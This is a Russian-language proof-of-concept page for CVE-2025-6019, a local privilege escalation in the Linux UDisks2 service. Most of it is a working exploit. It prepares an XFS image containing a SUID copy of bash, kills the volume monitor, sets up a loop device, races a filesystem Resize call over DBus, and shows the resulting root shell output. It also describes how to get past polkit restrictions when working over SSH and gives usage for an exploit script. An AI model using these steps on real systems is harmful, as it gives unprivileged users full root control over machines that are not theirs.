CVE-2025-6019: Эксплойт повышения привилегий через изменение размера файловой системы UDisks2

Детали уязвимости

• CVE ID: CVE-2025-6019
• Воздействие: Локальное повышение привилегий (LPE)
• Затронутые системы: Системы Linux с уязвимыми версиями udisks2
• Механизм: Состояние гонки при изменении размера файловой системы позволяет получить доступ к SUID-бинарным файлам во временных каталогах с глобальной записью
• Ключевые компоненты:
  • Служба udisks2 (интерфейс DBus)
  • Метод org.freedesktop.UDisks2.Filesystem.Resize
  • Временные точки монтирования в /tmp/blockdev*

Процесс эксплуатации

1. Подготовка вредоносного образа файловой системы (атакующий)

dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash  # Установка SUID-бита
umount ./xfs.mount 

2. Запуск эксплойта (на машине жертвы)

# Проверка возможностей системы
gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot

# Устранение помех
killall -KILL gvfs-udisks2-volume-monitor

# Настройка loop-устройства
udisksctl loop-setup --file ./xfs.image --no-user-interaction

# Фоновый наблюдатель (выполняется при появлении SUID-бинарного файла)
while true; do 
  /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

# Запуск уязвимости через DBus
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

3. Получение root-доступа

/tmp/blockdev*/bash -p  # Запуск привилегированной оболочки
id
# uid=65534(nobody) gid=65534(nobody) euid=0(root)

Важно!

Эксплойт работает только в сессии logind!

• Скрипт должен быть запущен из сессии logind, у которой Active=yes и Remote=no (например, tty1).
• При запуске из сессии SSH / pts/* / обратного шелла вызов udisksctl loop-setup --no-user-interaction блокируется polkit, поэтому PoC завершается с ошибкой «Failed to create loop device».

Примечание:

• Если вы хотите использовать эксплойт через SSH, необходимо временно установить правило polkit

Как использовать эксплойт

Создание suid-образа

$ sudo bash exploit.sh create 

Эксплуатация системы

$ bash exploit.sh exploit 

Видео PoC